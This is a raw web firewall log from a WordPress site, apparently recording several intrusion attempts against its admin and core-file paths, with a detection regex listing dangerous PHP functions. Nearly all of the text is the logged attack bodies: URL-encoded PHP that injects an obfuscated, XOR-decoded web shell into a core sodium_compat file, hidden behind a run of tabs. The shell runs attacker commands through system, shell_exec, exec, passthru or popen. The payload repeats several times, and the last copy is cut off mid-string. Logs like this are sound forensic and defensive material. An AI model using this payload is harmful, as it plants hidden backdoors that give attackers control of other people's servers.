WS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI1ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:5235\n\nWS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:55:44","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gv:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\ncontent-length:5235\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\n\nGv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:55:51","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%257B%2520function%2520mutex_lock%2528%2520%2524holder%2520%252C%2520%2524val%2520%2529%2520%257B%2520%2524dat%2520%253D%2520%2527%2527%253B%2520%2524b%253D0%253B%2520while%2528%2524b%253Cstrlen%2528%2524holder%2529%2529%257B%2520%2524dat.%253Dchr%2528ord%2528%2524holder%255B%2524b%255D%2529%255E%2524val%2529%253B%2520%2524b%252B%252B%253B%2520%257D%2520return%2520%2524dat%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2524reverse_lookup%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520mutex_lock%2528%2524dchunk%252C%252088%2529%253B%2520if%2520%2528function_exists%2528%2524core_engine1%2529%2529%2520%257B%2520%2524core_engine1%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine2%2529%2529%2520%257B%2520print%2520%2524core_engine2%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine3%2529%2529%2520%257B%2520%2524core_engine3%2528%2524dchunk%252C%2520%2524desc_holder%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524desc_holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine4%2529%2529%2520%257B%2520%2524core_engine4%2528%2524dchunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524core_engine5%2529%2520%2526%2526%2520function_exists%2528%2524core_engine6%2529%2520%2526%2526%2520function_exists%2528%2524core_engine7%2529%2529%2520%257B%2520%2524val_dat%2520%253D%2520%2524core_engine5%2528%2524dchunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524val_dat%2529%2520%257B%2520%2524mrk_pset%2520%253D%2520%2524core_engine6%2528%2524val_dat%2529%253B%2520%2524core_engine7%2528%2524val_dat%2529%253B%2520print%2520%2524mrk_pset%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-length:5258\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Salsa20.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524core_engine1%2520%253D%2520%2522s%255Cx79s%255Cx74%255Cx65m%2522%253B%2520%2524reverse_lookup%2520%253D%2520%2522hex%255Cx32bi%255Cx6E%2522%253B%2520%2524core_engine2%2520%253D%2520%2522%255Cx73hel%255Cx6C_%255Cx65x%255Cx65%255Cx63%2522%253B%2520%2524core_engine6%2520%253D%2520%2522%255Cx73t%255Cx72e%255Cx61%255Cx6D%255Cx5Fg%255Cx65t%255Cx5Fc%255Cx6Fn%255Cx74%255Cx65nts%2522%253B%2520%2524core_engine7%2520%253D%2520%2522p%255Cx63lo%255Cx73e%2522%253B%2520%2524core_engine3%2520%253D%2520%2522ex%255Cx65c%2522%253B%2520%2524core_engine4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73t%255Cx68ru%2522%253B%2520%2524core_engine5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522d%255Cx63h%255Cx75nk%2522%255D%2529%2529%2520%25